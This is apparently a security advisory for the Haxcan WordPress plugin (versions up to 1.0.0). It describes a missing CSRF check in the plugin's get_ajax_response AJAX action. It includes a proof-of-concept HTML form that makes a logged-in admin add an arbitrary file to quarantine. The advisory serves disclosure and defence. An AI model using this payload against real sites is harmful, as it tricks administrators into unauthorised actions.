Haxcan <= 1.0.0 – CSRF Bypass | Plugin Vulnerabilities

Description

The plugin does not properly check for CSRF in its get_ajax_response AJAX action, allowing attacker to make logged in admin call them it via CSRF attack and add arbitrary files in quarantine for example.

Proof of Concept

Add an arbitrary file to quarantine

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="get_ajax_response" />
      <input type="hidden" name="_action_request" value="add_to_quarantine" />
      <input type="hidden" name="theme_file" value="anything" />
      <input type="hidden" name="reason" value="Yolo" />
      <input type="hidden" name="line" value="ab" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>